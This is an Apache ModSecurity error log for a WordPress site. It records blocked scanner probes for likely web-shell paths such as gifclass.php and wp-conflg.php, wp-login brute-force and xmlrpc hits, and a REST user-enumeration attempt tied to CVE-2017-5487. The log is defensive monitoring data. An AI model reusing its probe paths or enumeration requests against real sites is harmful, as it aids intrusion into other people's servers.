[Tue Mar 24 01:17:55.768324 2026] [:error] [pid 56236:tid 56307] [client 40.85.222.197:17352] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acF1w3apFgYp0uZ8twAjAgAAAE4"]
[Tue Mar 24 01:17:56.181088 2026] [:error] [pid 56238:tid 56353] [client 40.85.222.197:17269] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acF1xFSqceFAZRgPDq6e9wAAAMU"]
[Tue Mar 24 01:17:56.595839 2026] [:error] [pid 56435:tid 56504] [client 40.85.222.197:17327] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "acF1xMrwr-l5A-s9ryB6bAAAAQU"]
[Tue Mar 24 01:17:57.022373 2026] [:error] [pid 56435:tid 56523] [client 40.85.222.197:17401] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "acF1xcrwr-l5A-s9ryB6bgAAARY"]
[Tue Mar 24 01:17:57.456783 2026] [:error] [pid 56435:tid 56516] [client 40.85.222.197:17343] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "acF1xcrwr-l5A-s9ryB6cgAAAQ8"]
[Tue Mar 24 01:17:57.895151 2026] [:error] [pid 56435:tid 56514] [client 40.85.222.197:17329] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "acF1xcrwr-l5A-s9ryB6dAAAAQ0"]
[Tue Mar 24 01:17:58.337274 2026] [:error] [pid 56237:tid 56337] [client 40.85.222.197:17324] [client 40.85.222.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "acF1xgymO0MnzQb90MMnLQAAAJA"]
[Tue Mar 24 01:17:58.787320 2026] [:error] [pid 56237:tid 56336] [client 40.85.222.197:17385] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acF1xgymO0MnzQb90MMnLwAAAI8"]
[Tue Mar 24 01:17:59.241321 2026] [:error] [pid 56237:tid 56322] [client 40.85.222.197:17308] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acF1xwymO0MnzQb90MMnMwAAAIE"]
[Tue Mar 24 01:17:59.690327 2026] [:error] [pid 56435:tid 56503] [client 40.85.222.197:17336] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acF1x8rwr-l5A-s9ryB6egAAAQQ"]
[Tue Mar 24 01:18:00.157226 2026] [:error] [pid 56435:tid 56508] [client 40.85.222.197:17166] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "acF1yMrwr-l5A-s9ryB6fwAAAQg"]
[Tue Mar 24 01:18:00.601223 2026] [:error] [pid 56238:tid 56368] [client 40.85.222.197:17304] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "acF1yFSqceFAZRgPDq6fAwAAANQ"]
[Tue Mar 24 01:18:01.041923 2026] [:error] [pid 56237:tid 56345] [client 40.85.222.197:17288] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "acF1yQymO0MnzQb90MMnOwAAAJg"]
[Tue Mar 24 01:18:01.499924 2026] [:error] [pid 56237:tid 56326] [client 40.85.222.197:17339] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "acF1yQymO0MnzQb90MMnQAAAAIU"]
[Tue Mar 24 01:18:01.951609 2026] [:error] [pid 56435:tid 56521] [client 40.85.222.197:17315] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "acF1ycrwr-l5A-s9ryB6gwAAARQ"]
[Tue Mar 24 01:18:02.440382 2026] [:error] [pid 56237:tid 56321] [client 40.85.222.197:17249] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "acF1ygymO0MnzQb90MMnSAAAAIA"]
[Tue Mar 24 01:18:02.886337 2026] [:error] [pid 56237:tid 56345] [client 40.85.222.197:17224] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "acF1ygymO0MnzQb90MMnTAAAAJg"]
[Tue Mar 24 01:18:03.345760 2026] [:error] [pid 56238:tid 56350] [client 40.85.222.197:17317] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "acF1y1SqceFAZRgPDq6fDgAAAMI"]
[Tue Mar 24 01:36:51.979843 2026] [:error] [pid 56238:tid 56367] [client 182.42.111.213:45058] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acF6M1SqceFAZRgPDq6qPwAAANM"]
[Tue Mar 24 01:49:32.148421 2026] [:error] [pid 56435:tid 56500] [client 51.195.104.87:39668] [client 51.195.104.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.195.104.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acF9LMrwr-l5A-s9ryCQ3AAAAQE"]
[Tue Mar 24 01:49:37.026005 2026] [:error] [pid 56435:tid 56521] [client 51.195.104.87:39684] [client 51.195.104.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.195.104.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acF9Mcrwr-l5A-s9ryCQ-wAAARQ"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 01:54:18.657336 2026] [:error] [pid 56236:tid 56298] [client 179.108.161.60:62041] [client 179.108.161.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.108.161.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acF-SnapFgYp0uZ8twAt3gAAAEU"]
[Tue Mar 24 01:55:33.765934 2026] [:error] [pid 31798:tid 31807] [client 43.130.12.43:47698] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acF-lXdtW_1bksndFbY_KQAAAAc"]
[Tue Mar 24 01:56:17.156092 2026] [:error] [pid 31798:tid 31807] [client 212.39.107.184:51508] [client 212.39.107.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.39.107.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acF-wXdtW_1bksndFbY_igAAAAc"]
[Tue Mar 24 02:20:10.130479 2026] [:error] [pid 31798:tid 31816] [client 20.235.48.203:6149] [client 20.235.48.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.235.48.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGEWndtW_1bksndFbZRbgAAABA"]
[Tue Mar 24 02:20:11.981869 2026] [:error] [pid 31798:tid 31818] [client 20.235.48.203:6149] [client 20.235.48.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.235.48.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGEW3dtW_1bksndFbZRbwAAABI"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 02:32:07.123387 2026] [:error] [pid 31798:tid 31820] [client 162.241.3.36:42598] [client 162.241.3.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGHJ3dtW_1bksndFbZa3wAAABQ"]
[Tue Mar 24 02:32:09.134350 2026] [:error] [pid 31798:tid 31815] [client 162.241.3.36:42598] [client 162.241.3.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGHKXdtW_1bksndFbZa6QAAAA8"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 03:00:10.733512 2026] [:error] [pid 56435:tid 56513] [client 162.241.2.67:29190] [client 162.241.2.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGNusrwr-l5A-s9ryCywgAAAQw"]
[Tue Mar 24 03:00:12.773577 2026] [:error] [pid 56435:tid 56499] [client 162.241.2.67:29190] [client 162.241.2.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGNvMrwr-l5A-s9ryCywwAAAQA"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 03:03:56.255849 2026] [:error] [pid 56435:tid 56515] [client 103.216.117.118:59740] [client 103.216.117.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.216.117.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGOnMrwr-l5A-s9ryCz2gAAAQ4"]
[Tue Mar 24 03:03:58.194512 2026] [:error] [pid 56435:tid 56524] [client 103.216.117.118:59740] [client 103.216.117.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.216.117.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGOnsrwr-l5A-s9ryCz3gAAARc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 03:04:17.917608 2026] [:error] [pid 31798:tid 31823] [client 179.108.161.60:22115] [client 179.108.161.60] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acGOsXdtW_1bksndFbZseAAAABc"]
[Tue Mar 24 03:05:47.525247 2026] [:error] [pid 56238:tid 56370] [client 179.108.161.60:25984] [client 179.108.161.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.108.161.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acGPC1SqceFAZRgPDq7KNAAAANY"]
[Tue Mar 24 03:05:55.517880 2026] [:error] [pid 56236:tid 56315] [client 65.254.225.220:37232] [client 65.254.225.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGPE3apFgYp0uZ8twA8zAAAAFY"]
[Tue Mar 24 03:05:58.235009 2026] [:error] [pid 31798:tid 31819] [client 65.254.225.220:37236] [client 65.254.225.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGPFndtW_1bksndFbZtbQAAABM"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 03:07:03.680859 2026] [:error] [pid 56237:tid 56342] [client 179.108.161.60:32015] [client 179.108.161.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.108.161.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acGPVwymO0MnzQb90MNIRQAAAJU"]
[Tue Mar 24 03:08:14.133755 2026] [:error] [pid 31798:tid 31820] [client 179.108.161.60:43191] [client 179.108.161.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.108.161.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acGPnndtW_1bksndFbZunAAAABQ"]
[Tue Mar 24 03:09:23.172216 2026] [:error] [pid 56237:tid 56334] [client 179.108.161.60:51831] [client 179.108.161.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.108.161.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acGP4wymO0MnzQb90MNIrQAAAI0"]
[Tue Mar 24 03:10:36.218186 2026] [:error] [pid 56237:tid 56321] [client 179.108.161.60:62020] [client 179.108.161.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.108.161.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acGQLAymO0MnzQb90MNJAAAAAIA"]
[Tue Mar 24 03:47:49.888294 2026] [:error] [pid 3032:tid 3105] [client 113.36.242.231:46454] [client 113.36.242.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.36.242.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGY5Sa_-JXXD03-JNyNXAAAAII"]
[Tue Mar 24 03:47:53.158023 2026] [:error] [pid 3137:tid 3155] [client 113.36.242.231:47842] [client 113.36.242.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.36.242.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGY6ZdZesutm6dfYM-RfAAAANA"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 04:20:10.368568 2026] [:error] [pid 3137:tid 3163] [client 65.254.225.212:37112] [client 65.254.225.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGgepdZesutm6dfYM-uxgAAANg"]
[Tue Mar 24 04:20:12.696386 2026] [:error] [pid 3137:tid 3147] [client 65.254.225.212:37112] [client 65.254.225.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGgfJdZesutm6dfYM-u0QAAAMg"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 04:29:13.923285 2026] [:error] [pid 38767:tid 38794] [client 120.138.22.197:44144] [client 120.138.22.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 120.138.22.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGimfwkUqN4GJAI5oU5QgAAARg"]
[Tue Mar 24 04:29:15.749554 2026] [:error] [pid 38767:tid 38776] [client 120.138.22.197:44144] [client 120.138.22.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 120.138.22.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGim_wkUqN4GJAI5oU5TgAAAQY"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 04:37:05.877615 2026] [:error] [pid 38767:tid 38785] [client 50.6.155.62:18398] [client 50.6.155.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.155.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGkcfwkUqN4GJAI5oVBlAAAAQ8"]
[Tue Mar 24 04:37:07.825937 2026] [:error] [pid 38767:tid 38777] [client 50.6.155.62:18398] [client 50.6.155.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.155.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGkc_wkUqN4GJAI5oVBpgAAAQc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 04:44:19.693006 2026] [:error] [pid 3032:tid 3114] [client 120.138.22.197:48956] [client 120.138.22.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 120.138.22.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGmIya_-JXXD03-JNyvgQAAAIs"]
[Tue Mar 24 04:44:21.408268 2026] [:error] [pid 3032:tid 3120] [client 120.138.22.197:48956] [client 120.138.22.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 120.138.22.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGmJSa_-JXXD03-JNyvhwAAAJE"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 04:48:01.090002 2026] [:error] [pid 3032:tid 3106] [client 192.185.4.74:60136] [client 192.185.4.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGnASa_-JXXD03-JNyxVwAAAIM"]
[Tue Mar 24 04:48:02.913292 2026] [:error] [pid 3032:tid 3118] [client 192.185.4.74:60136] [client 192.185.4.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGnAia_-JXXD03-JNyxWwAAAI8"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 04:57:00.740017 2026] [:error] [pid 38767:tid 38785] [client 162.241.60.48:53602] [client 162.241.60.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.60.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGpHPwkUqN4GJAI5oVYdAAAAQ8"]
[Tue Mar 24 04:57:04.872585 2026] [:error] [pid 38767:tid 38784] [client 162.241.60.48:19810] [client 162.241.60.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.60.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGpIPwkUqN4GJAI5oVYjwAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 05:14:42.957613 2026] [:error] [pid 3030:tid 3067] [client 220.158.232.162:46506] [client 220.158.232.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.232.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGtQgyOuILyynfcqfnwFgAAABI"]
